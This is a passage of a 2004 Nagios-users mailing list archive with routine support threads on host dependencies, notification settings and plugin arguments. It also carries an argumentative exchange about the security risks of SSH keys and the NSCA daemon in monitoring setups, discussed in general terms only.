e-mails may get lost, be changed or falsified. Normal e-mails are not protected against access by third parties and consequently their confidentiality may not be assured in certain circumstances. The content of this e-mail is only legally binding if it is confirmed by a letter from our side. Should any virus enter your systems in connection with this e-mail despite our use of antivirus software, we cannot be held liable for any possible damages. --------------------------------------------------------------------------- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fhs at castel.nl Fri Mar 26 10:30:11 2004 From: fhs at castel.nl (Frans Hetterscheid) Date: Fri, 26 Mar 2004 10:30:11 +0100 Subject: statusmap, weird problem Message-ID: <4063F823.5000100@castel.nl> I'm having the same problem. Tride everything but nothing works so far, these are my settings: Debian stable (woody) Nagios-1.2-3 backported from unstable. ii libgd1 1.8.4-17.woody GD Graphics Library ii libgd2 2.0.1-10 GD Graphics Library version 2 ii libgdbmg1 1.7.3-27 GNU dbm database routines (runtime version). ii libgd-gif1 1.3-2 GD Graphics Library with gif support ii libpng2 1.0.12-3.woody PNG library - runtime ii libjpeg62 6b-6 The Independent JPEG Group's JPEG ii nagios-plugins 1.3.1-1 Plugin package nagios. ii nagios-text 1.2-3 A host/service/network monitoring and manage Like to compare details as Paul suggested. If it is the same I can report a bug to Debian/Nagios. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 26 10:42:09 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 26 Mar 2004 09:42:09 +0000 Subject: /usr/local/nagios/var/rw/nagios.cmd could not create In-Reply-To: <20040326002654.49543.qmail@web60508.mail.yahoo.com> References: <20040326002654.49543.qmail@web60508.mail.yahoo.com> Message-ID: <4063FAF1.7050805@exponential-e.com> chenoi A wrote: > i think so ..the problem coz of permission, u know y, suppose when i try > to browse to localhost/nagios/ it will > pop up a box to enter login and password but it seems that nothing > coming up, seems like u can access without log in first. can u help me > on this. > > TQ Please reply on list if its a general question. I'm sorry, but I don't understand the question. A general answer is that Nagios is normally installed with a specific user and group name; this user/group owns the files and is specified at the time you use the configure script. This is all documented at http://nagios.sourceforge.net/docs/1_0/installing.html Once you have done this and set up apache (again as detailed in the documentation) check apache's error log is you get access problems. Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mls at freemail.gr Fri Mar 26 10:55:37 2004 From: mls at freemail.gr (Anastasios Zafeiropoulos) Date: Fri, 26 Mar 2004 11:55:37 +0200 Subject: Host Dependency problem Message-ID: <001501c41318$7f7c1e40$2245a8c0@laptop> Hi, I'm having trouble with a Host dependency misconfiguration or why not, with a bug in Nagios' Dependency logic process and notification. I am using version nagios-1.2-0.rhfc1.dag which was a prebuilt package from Dag Apt repository site. =================================================== My Topology: =================================================== Nagios machine --- RT1 -- RT2 -- RT3 ==================================================== The problem ==================================================== When RT1 goes down, or the RT1-RT2 Link goes down, Nagios will notice that at random, while he is checkong a service or HOST_ALIVE function to any part of the network that is down. Let's assume that the first Host that Nagios found dead was RT3. Nagios didn't get any reply from RT3, so RT3 will be kept in SOFT down state. Next the RETRY proccess will take place. The max_check_attempts are 30 for each host. That's because the links are not reliable at all so we want to be a little elastic with the Notifications. At the time that we reach the Retry #30, Nagios assumes that RT3 IS DOWN, puts it in HARD DOWN state and looks to find any dependencies associated with the RT3. If you look below, RT3 is dependent upon RT2. So it will continue with try pinging RT2. While Nagios is trying to determine whether the RT2 is alive or not, suddendly, the RT1-RT2 link comes up and all the network is now reachable by Nagios. I notice here that the max_checks_attempts havent timed out. So Nagios will take a response from RT2 and it will put it in A HARD OK State. The result will be NOT to check RT3 again to see if he is up as RT2. So, a notification will be sent reporting that RT3 is down. This is FAKE. The whole network was down! Below I provide you my configuration. Maybe sth goes wrong with my conf files. Thanks in advance guys ==================================================== My dependecies.cfg file ==================================================== define hostdependency{ host_name RT2 dependent_host_name RT3 notification_failure_criteria d,u } define hostdependency{ host_name RT1 dependent_host_name RT2 notification_failure_criteria d,u } =================================================== My hosts.cfg =================================================== define host{ use generic-host host_name RT1 alias Wireless 1 address 213.5.0.34 check_command check-host-alive max_check_attempts 30 notification_interval 0 notification_period 24x7 notification_options d,u } define host{ use generic-host host_name RT2 alias tsapi.twmn address 10.107.13.1 parents RT1 check_command check-host-alive max_check_attempts 30 notification_interval 0 notification_period 24x7 notification_options d,u } define host{ use generic-host host_name RT3 alias Wireless Internet address 212.34.23.4 parents RT2 check_command check-host-alive max_check_attempts 30 notification_interval 0 notification_period 24x7 notification_options d,u } ____________________________________________________________________ http://www.freemail.gr - ?????? ???????? ???????????? ????????????. http://www.freemail.gr - free email service for the Greek-speaking. -------------- next part -------------- An HTML attachment was scrubbed... URL: From philc at foundation-it.com Fri Mar 26 11:32:08 2004 From: philc at foundation-it.com (Phil Costelloe) Date: Fri, 26 Mar 2004 10:32:08 -0000 Subject: nsclient Message-ID: <4E71CFD68DCB4E49B04AD93E84827EE922667D@netfinity-1.foundation-it.local> Pat wrote: > I anewbie. I've had it up and running for a week now and everything's > fine. > > I just installed nsclient on one of my W2K boxes to try and get it > working there. I've got all the commands done but I can't figure out > what arguments I need to send to get a proper response. I keep > getting "wrong -l argument" If this is happening on disk checks, I think it usually happens if you give a multi-character -l argument (such as "C:") rather than the single character it's expecting (such as "C"). Phil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From m.borsani at it.net Fri Mar 26 11:55:50 2004 From: m.borsani at it.net (Marco Borsani) Date: Fri, 26 Mar 2004 11:55:50 +0100 Subject: Host : notification_options VS notifications_enabled Message-ID: Hi guy !! May anybody tell me the difference between two following configuration (regarding an host/service definition) ?? notification_options n notifications_enabled 1 notification_options d,u,r (or w,u,c,r for a service) notifications_enabled 0 My opinion is that they have the same one meant. Is it correct? Regards M.Borsani -------------- next part -------------- An HTML attachment was scrubbed... URL: From psimek at jcu.cz Fri Mar 26 12:34:56 2004 From: psimek at jcu.cz (Petr Simek) Date: Fri, 26 Mar 2004 12:34:56 +0100 (=?iso-8859-2?Q?St=F8edn=ED_Evropa_=28b=EC=9En=FD_=E8as=29?=) Subject: Special notifications handling in Nagios In-Reply-To: <20040325102048.GB3582@isite.net> References: <20040325102048.GB3582@isite.net> Message-ID: On Thu, 25 Mar 2004, Joe Rhett wrote: > I really don't see any problem with most of this. All you need to do is > set up the proper intersection of notification times for the hosts and > the contacts. The only gotcha is ... > > > at 1:00, then 'up state' notification will be sent at 7:00 > > Uh.. nobody (no process) is going to hang around for 6 hours and wait to > send you a notification. Really. Notifications are either sent or not > at the time they are conceived :-( > > Now you can tune this using the notification options so that you don't > get the notifications at night, but you get them in e-mail so that you > can review them in the morning, but they didn't interrupt your sleep. > All sorts of flexibility here. Yes, I have email account where nagios notifications goes. But I am not always within reach of computer to read emails. Therefore I want a special contact to forward notifications as SMS to my mobile phone. And I would special behavior at this contact - one notification when service or host goes down a and one when goes up. This is no problem. But I want delay down and up notifications normally sended between 23:00-6:59 into 7:00 and only in case that state at 23:00 is different at 7:00. If there was a problem between 3:00 and 4:00 don't send notifications to this contact. This problem I will see when I will read emails, but at 7:00 is not actual. *------------------------------------------------------------------------* | Petr Simek APS JU | | psimek at jcu.cz | *------------------------------------------------------------------------* ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Fri Mar 26 12:35:45 2004 From: pla at softflare.com (Paul L. Allen) Date: Fri, 26 Mar 2004 11:35:45 +0000 Subject: check_by_ssh question In-Reply-To: <4063E7FB.8060605@op5.se> References: <40634AF6.6040408@op5.se> <20040326024750.5441.qmail@minnow.softflare.net> <4063E7FB.8060605@op5.se> Message-ID: <20040326113545.16764.qmail@minnow.softflare.net> Andreas Ericsson writes: > Yes, and they can later elevate their privileges. Most linux users run one > of the major distributions (like Red Hat). I still haven't seen a default > Red Hat install without a local root exploit (usable by 'nobody'). I haven't seen anything that doesn't have local exploits. Most sensible people apply patches as soon as they come out. But if you're foolish and have a monitored machine that has local exploits then it is very likely your monitoring machine also has the same exploits. Therefore you have more important things to fix before you worry about nagios being used as an exploit. And if you fix the important things first, the nagios exploit then can do little damage. > Wrong. There are also remote exploits. If you were to follow bugtraq or > vuln-dev you wouldn't have that false sense of security. I don't have a false sense of security, I have a sense of priorities. Your proposed nagios exploit relies upon far more serious exploits in order to be able to use it in the first place. Your attitude is "Somebody could use an exploit to get root on your monitoring machine, get shell as nagios on the monitored machine and then use the same exploit to get root there, so don't use keys with nagios." My attitude is "fix exploits as soon as you learn of them." > You seem to think that allowing an attacker in as any other user than root > is half OK. I don't think that at all. > I don't really understand where you came up with the idea that there > are no local privilege escalation problems, There will always be local privilege escalation problems. All you can do is fix them as soon as possible. The point is that if you have a local exploit that you leave unfixed then you have far more to worry about than a nagios exploit. > but I'd never hire you to run a network I was depending on. The feeling is mutual. NONE of our machines that perform network services have local users who do not already know the root password because the only users on those machines are those tasked with administering them. Those people may choose bad pasawords but we make damned sure root has a strong password and administrators can only get onto the machine locally or by ssh So if an attacker gets root on our monitoring machine it has to be through a remote exploit and therefore all our monitored machines are likely to have the same vulnerability so the nagios exploit is not needed. Like I said, I have s sense of priorities. Anyone who can use the nagios exploit already has a remote exploit that they can use instead. > If you have plugins running as root (either sudo or +s), you're trying too > hard. If you have kernel patches in place to disallow access to regular > users to certain items, it's NOT recommended to bypass these with sudo and > +s. There have to be compromises between security and utility. I can make any machine 100% safe from network attacks by unplugging it from the network. But I'd be interested in seeing your kernel patch to allow the check_raid plugin function without sudo. > Or, they could hack root using a local exploit on any of the machines in > the network. Please don't tell me you're immune, or that you have really > good security. The only way somebody can do that to us is if they use a remote exploit to get into the monitoring machine. If they can do that then they can use the SAME remote exploit to get into the monitored machines. If they can somehow get shell as nagios on the monitoring machine but cannot use that with a local exploit to get root then they can't do much on the monitored machines either. In that situation, trying to prevent them from using the nagios exploit is a pointless waste of time because they either have a remote root exploit or they cannot use nagios to get root. The only way they can use the nagios exploit to do damage on the remote machines is if they already have a way of doing damage without it. > With shadow passwords there are a bunch of setsuid programs on the > machine, some of which may allow local privilege escalation. There are always local exploits. Which is one reason why none of our network machines have ordinary users who do not also know the root password. We don't mix the concepts of "server" and "user machine" and I wouldn't trust anyone who did. > Is he running Nagios at home? Monitoring your business network? Yes, because the office is in a building at the bottom of his garden. He looked at the cost of a leased line and couldn't justify it. Fixed IP here is EXPENSIVE. > Now I understand where your security thinking gets warped. Yes, I'm an engineer. That means cost is an important part of my thinking. So I don't pay for fixed IP if I can work around it. So I don't waste time fixing the nagios exploit when the only way somebody could use it means either that they already have a remote exploit they can use or they can't do any damage with it. > Also, any admin on customer-network1 could submit passive check results > for customer-network2. I already mentioned that. First, of course, they have to know that the other customer exists and what we've called their servers in Nagios. >> I can't think of a reason why anyone would want to do this, but they >> could. > I can't think of a reason for people to send spam, or run DoS attacks on > home users, but they do anyway. OK, so somebody at customer1 gets the root password for their local nagios machine sending passive service checks to us. That means they've hijacked a machine we supply and control and can do more damage than submitting fake checks. Then they somehow guess what other customers we monitor and what we've called their machines. Then they start submitting fake service checks. If they do it from a machine that's traceable, the Computer Misuse Act means up to five years in prison. If they happen to have a distributed attack network, they cannot be easily traced but they can do far more damage to us with a DDoS anyway. There's no point patching a pin-hole leak near the top of a bucket when the bottom has dropped out of the bucket. If somebody can send fake passive checks that means I have bigger problems to worry about first. In an ideal world, NCSA would allow different usernames/passwords so that tiny risk of somebody submitting fake results is no longer there, which is why I suggested it would be a useful feature. >> But if you really felt an urge to start hacking around, I'd like to >> see NCSA take an optional username and the daemon take a list of >> username/password pairs. > Rather an IP/password pair, for obvious reasons. Nope, username/password pairs. Many of the machines we monitor are on cable or DSL and do not have fixed IP. Fixed IP is EXPENSIVE here and many people are unwilling to pay for it. If you want to block by IP you can use TCPwrappers. Making it IP/password restricts utility and adds no security that cannot be achieved another way. >> Then each client could have a different username >> and password and the only (slight, improbable) security hole in NCSA >> would be plugged without having to run multiple daemons. > Unless we start thinking about buffer overflows, integer overflows, > off-by-one bugs and other 'useful' (if you're looking to hack it) stuff, > but I suppose you've browsed the source for it and decided there are no > such faults in it. I suppose you've gone through the source of the entire kernel and every utility and application on your machines. I expect you've paid particular attention to apache, bind, postfix/sendmail/qmail, sshd, etc. More realistically, such bugs will always be with us and all we can do is hope that if somebody finds a remote exploit they use it against somebody else first and a patch appears that we can apply before they get around to using it against us. It isn't feasible to check the sources of everything that is installed on a server. And you do have to check the sources to EVERYTHING. Not to mention disassembling gcc to ensure it doesn't have Ken Thompson's famous back-door (I think he was joking, but it's possible every *nix machine has a back-door that Ken can use to get in). -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Fri Mar 26 12:43:38 2004 From: ae at op5.se (Andreas Ericsson) Date: Fri, 26 Mar 2004 12:43:38 +0100 Subject: Host : notification_options VS notifications_enabled In-Reply-To: References: Message-ID: <4064176A.9050109@op5.se> Marco Borsani wrote: > Hi guy !! > > May anybody tell me the difference between two following configuration > (regarding an host/service definition) ?? > > notification_options n > notifications_enabled 1 This means "notifications are enabled, but don't send them for any [service|host]state" > > notification_options d,u,r (or w,u,c,r for a service) > notifications_enabled 0 > while this means 'notifications are disabled'. Nagios never checks the notification_options if notifications_enabled is 0. > My opinion is that they have the same one meant. > Is it correct? > Not exactly, from a programmers point of view, but in reality they both give the same effect (i.e. no notifications are sent out). I might be wrong here, in case ACKNOWLEDGEMENT honor these, but I'm not sure. > Regards > M.Borsani -- Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Fri Mar 26 12:47:10 2004 From: ae at op5.se (Andreas Ericsson) Date: Fri, 26 Mar 2004 12:47:10 +0100 Subject: Special notifications handling in Nagios In-Reply-To: References: Message-ID: <4064183E.3040008@op5.se> Petr Simek wrote: > On Thu, 25 Mar 2004, Joe Rhett wrote: > > >>I really don't see any problem with most of this. All you need to do is >>set up the proper intersection of notification times for the hosts and >>the contacts. The only gotcha is ... >> >> >>> at 1:00, then 'up state' notification will be sent at 7:00 >> >>Uh.. nobody (no process) is going to hang around for 6 hours and wait to >>send you a notification. Really. Notifications are either sent or not >>at the time they are conceived :-( >> >>Now you can tune this using the notification options so that you don't >>get the notifications at night, but you get them in e-mail so that you >>can review them in the morning, but they didn't interrupt your sleep. >>All sorts of flexibility here. > > > Yes, I have email account where nagios notifications goes. But I am not > always within reach of computer to read emails. Therefore I want a special > contact to forward notifications as SMS to my mobile phone. > Are you within reach to make any difference to the network when you're not in front of a computer? If there are others responsible for running the network as well, they should handle it before you have time to worry about it. > And I would special behavior at this contact - one notification when > service or host goes down a and one when goes up. This is no problem. > But I want delay down and up notifications normally sended between > 23:00-6:59 into 7:00 and only in case that state at 23:00 is different > at 7:00. If there was a problem between 3:00 and 4:00 don't send > notifications to this contact. This problem I will see when I will read > emails, but at 7:00 is not actual. > If you really want this, then create your own script which writes them to a file which is parsed by cron at whatever time you want, and send the notifications then (don't forget to delete the notifications file from the cron script). I imagine this can also be done by parsing the logfiles each morning, and that might even be easier. > > *------------------------------------------------------------------------* > | Petr Simek APS JU | > | psimek at jcu.cz | > *------------------------------------------------------------------------* > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From formatpro at yahoo.co.uk Fri Mar 26 13:00:50 2004 From: formatpro at yahoo.co.uk (=?iso-8859-1?q?ForMatPrO=20ForMatPrO?=) Date: Fri, 26 Mar 2004 12:00:50 +0000 (GMT) Subject: Solaris messages file In-Reply-To: References: Message-ID: <20040326120050.95134.qmail@web25007.mail.ukl.yahoo.com> Hi! I've got to monitor about 30 Solaris 2.6/8/9 machines and I was wondering; What is the best way to monitor the /var/adm/messages files for important system messages? BTW: I can't change anything on the machines (for example another syslog deamon) Thx ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From hugo.rebello at dhl.com Fri Mar 26 13:39:41 2004 From: hugo.rebello at dhl.com (Hugo Rebello) Date: Fri, 26 Mar 2004 09:39:41 -0300 Subject: problem with router monitor In-Reply-To: References: Message-ID: Look the information below. ************************************ Serial0 is up, line protocol is up Hardware is PowerQUICC Serial Description: Connection Internet address is 10.10.10.6/30 MTU 1500 bytes, BW 2024 Kbit, DLY 20000 usec, reliability 255/255, txload 4/255, rxload 3/255 Encapsulation PPP, LCP Open Open: CDPCP, IPCP, loopback not set Last input 00:00:04, output 00:00:00, output hang never Last clearing of "show interface" counters 2w0d Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 30 Queueing strategy: weighted fair Output queue: 0/1000/64/5 (size/max total/threshold/drops) Conversations 0/26/256 (active/max active/max total) Reserved Conversations 0/0 (allocated/max allocated) Available Bandwidth 1518 kilobits/sec 5 minute input rate 28000 bits/sec, 6 packets/sec 5 minute output rate 37000 bits/sec, 16 packets/sec 17370323 packets input, 4218756223 bytes, 0 no buffer Received 0 broadcasts, 0 runts, 3 giants, 0 throttles 437467 input errors, 27755 CRC, 210030 frame, 0 overrun, 0 ignored, 199648 abort 14743915 packets output, 3464182642 bytes, 0 underruns 0 output errors, 0 collisions, 888 interface resets 0 output buffer failures, 0 output buffers swapped out 474 carrier transitions DCD=up DSR=up DTR=up RTS=up CTS=up ****************************************************** I have the serial up and protocol up (It?s the protocol between the links) When the protocol down, I don?t receive this information. Do you understand ? Thank you. Hugo -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net]On Behalf Of Subhendu Ghosh Sent: quinta-feira, 25 de mar?o de 2004 21:01 To: Hugo Rebello Cc: Nagios Users (E-mail) Subject: RE: [Nagios-users] problem with router monitor On Thu, 25 Mar 2004, Hugo Rebello wrote: > I don?t known, How this check can I monitor if the protocol is up or not ? > About this check_ifoperstatus, could you tell me what sintaxe should I use ? > I don?t known what I put in --key and --descr option. > When you say "protocol" what exactly do you mean? Routers have: physical interfaces logical links routing process CPU utilization Memory usage -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Fri Mar 26 13:44:02 2004 From: ae at op5.se (Andreas Ericsson) Date: Fri, 26 Mar 2004 13:44:02 +0100 Subject: check_by_ssh question In-Reply-To: <20040326113545.16764.qmail@minnow.softflare.net> References: <40634AF6.6040408@op5.se> <20040326024750.5441.qmail@minnow.softflare.net> <4063E7FB.8060605@op5.se> <20040326113545.16764.qmail@minnow.softflare.net> Message-ID: <40642592.3010006@op5.se> Paul L. Allen wrote: > Andreas Ericsson writes: > > I haven't seen anything that doesn't have local exploits. I have. It's called Owl, and you can find it at www.openwall.com/Owl > Most sensible > people apply patches as soon as they come out. But if you're foolish > and have a monitored machine that has local exploits then it is very > likely your monitoring machine also has the same exploits. Therefore > you have more important things to fix before you worry about nagios > being used as an exploit. And if you fix the important things first, > the nagios exploit then can do little damage. > And most patches come out because a problem has been detected. Being secure afterwards is every bit as stupid as feeling pleased your anti-virus program removed some viruses (when they never should have gotten in in the first place). > Your proposed nagios exploit relies upon far more serious exploits in > order to be able to use it in the first place. Not really, no. A local user can probably find something to elevate his privileges with. A couple of months ago, a remote exploit was found for apache 1.3.28, and today there was a new issue with 2.0.48 (3 different, actually), which could allow remote users to gain shell access. > Your attitude is "Somebody could use an exploit to get root on your > monitoring machine, get shell as nagios on the monitored machine and > then use the same exploit to get root there, so don't use keys with > nagios." Not at all. Now you're being downright silly. What I meant was that IF your nagios server gets compromised, the problem _WILL_ spread to every machine you're monitoring with check_by_ssh (unless the attacker is a real git, but that's not to hope for). > My attitude is "fix exploits as soon as you learn of them." My attitude is "audit the source-code and fix bugs before you implement the program". There's a world of difference. > > There will always be local privilege escalation problems. Not necessarily (unless physical access applies). > All you can > do is fix them as soon as possible. The point is that if you have a > local exploit that you leave unfixed then you have far more to worry > about than a nagios exploit. > Indeed, but that doesn't excuse making it easier for an attacker. > NONE of our machines that perform network services > have local users who do not already know the root password because the > only users on those machines are those tasked with administering them. Great. I guess that rules out remote exploits to get a low privileged shell which can later be escalated to a root shell, so you *MUST* be safe using this "security" model. > Those people may choose bad pasawords Not necessarily. Ever heard of password policy enforcing? Try Owl and you'll get a sense for it. > but we make damned sure root has > a strong password and administrators can only get onto the machine locally > or by ssh Or by exploiting a remote hole in apache or ssh (remember 'The Matrix Bug' ?) > So if an attacker gets root on our monitoring machine it has to > be through a remote exploit ... to get ANY shell (first) > and therefore all our monitored machines are > likely to have the same vulnerability so the nagios exploit is not needed. So that's an excuse to lead him by the nose to the vulnerable servers? You DO have a funny way of thinking. And besides, do you honestly run the same type of services on your backup server as you do on your cvs/ftp/web/dns/radius/ldap/samba/whatever server? I think not. > There have to be compromises between security and utility. I can make > any machine 100% safe from network attacks by unplugging it from the > network. > But I'd be interested in seeing your kernel patch to allow > the check_raid plugin function without sudo. I can imagine this script / program working in two ways which won't require sudo to make it run; 1. The plugin reads /proc/mdstat, which is allowed by default and therefore not a real problem. There's a kernel patch to restrict access to /proc, but that's trivially set up not to matter. 2. The plugin reads a random piece of data from each of the disks in the array (assuming mirroring mode here). This only requires read-access to the devices, and the offsets can be hardcoded and the plugin setgid instead of using sudo. The plugin should ofcourse only be writable by root, so the attacker would have to overflow it to overwrite the offset-address (hardcoded, remember?) which is in the TEXT segment of the executable in memory, so it's not even possible (segmentation violation when writing to read-only memory). Considering the attacker got past all that, he'd still only have read-access to the physical devices, which means he'd be playing 'guess-and-win' at grabbing the password file (or files, if you're using TCB), and then run john the ripper (or something) on it to extract an actual password. > > The only way somebody can do that to us is if they use a remote exploit to > get into the monitoring machine. If they can do that then they can use > the SAME remote exploit to get into the monitored machines. Discussed above. Iteration seems to have become an issue here. > If they can > somehow get shell as nagios on the monitoring machine but cannot use that > with a local exploit to get root then they can't do much on the monitored > machines either. Except ofcourse browse the remote machines by using the authorized_keys method described earlier. > >> With shadow passwords there are a bunch of setsuid programs on the >> machine, some of which may allow local privilege escalation. > > There are always local exploits. Which is one reason why none of our > network machines have ordinary users who do not also know the root > password. We don't mix the concepts of "server" and "user machine" and > I wouldn't trust anyone who did. The setsuid binaries needed for the shadow password scheme is why you should change to TCB. Then you'd need an overflow to get to read other users password files but you still wouldn't have a root account. Combined with the password policy enforcement it is not computationally feasible to even try to attack a host with those rules in place. >> Also, any admin on customer-network1 could submit passive check >> results for customer-network2. > > I already mentioned that. First, of course, they have to know that the > other customer exists and what we've called their servers in Nagios. > So this would be the first line of exploitation. If the nsca daemon has any bugs, then anybody hacking any of your customers would have something to work with. I'm not saying they'll have any luck, just that they know where to start (and that I for one would try for the fun of it). > OK, so somebody at customer1 gets the root password for their local > nagios machine sending passive service checks to us. That means they've > hijacked a machine we supply and control and can do more damage than > submitting fake checks. Then they somehow guess what other customers > we monitor and what we've called their machines. Not necessarily. Generating looooong strings containing arbitrary garbage isn't really all that hard, but I guess you know your way around the code in libmcrypt and nsca, so you're already certain there aren't any problems there. > If they do it from a machine that's > traceable, the Computer Misuse Act means up to five years in prison. Give me a break. Anybody with a minimum of programming skill can write a program to relay tcp traffic through more hops than than you have hairs on your head. I've written one myself and it took me about 45 minutes. Laws are good sometimes, but only if it's within the jurisdiction of whatever bureau you have enforcing it. Considering the fact that tracability is an issue, I could sit next to you and have it appear as though I'm connecting from Taiwan. >> Unless we start thinking about buffer overflows, integer overflows, > > I suppose you've gone through the source of the entire kernel and every > utility and application on your machines. Actually, I'm an Owl developer which means that's exactly what I do. > I expect you've paid particular > attention to apache, bind, postfix/sendmail/qmail, sshd, etc. Naturally. Postfix and sshd have been patched rather extensively, and the patches have been submitted to the main branch. Apache is not quite done yet, so atm I'm running a not fully audited version. We have, however, patched glibc to make exploitation harder. > More > realistically, ... > such bugs will always be with us and all we can do is > hope that if somebody finds a remote exploit they use it against somebody > else first and a patch appears that we can apply before they get around to > using it against us. > It isn't feasible to check the sources of everything > that is installed on a server. No, but it's every admins responsibility to check those that are setuid and those that do networking in an 'out-of-jail' fashion. Also, naturally, the libraries to which any program might be linked. -- Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Fri Mar 26 14:36:07 2004 From: pla at softflare.com (Paul L. Allen) Date: Fri, 26 Mar 2004 13:36:07 +0000 Subject: solved 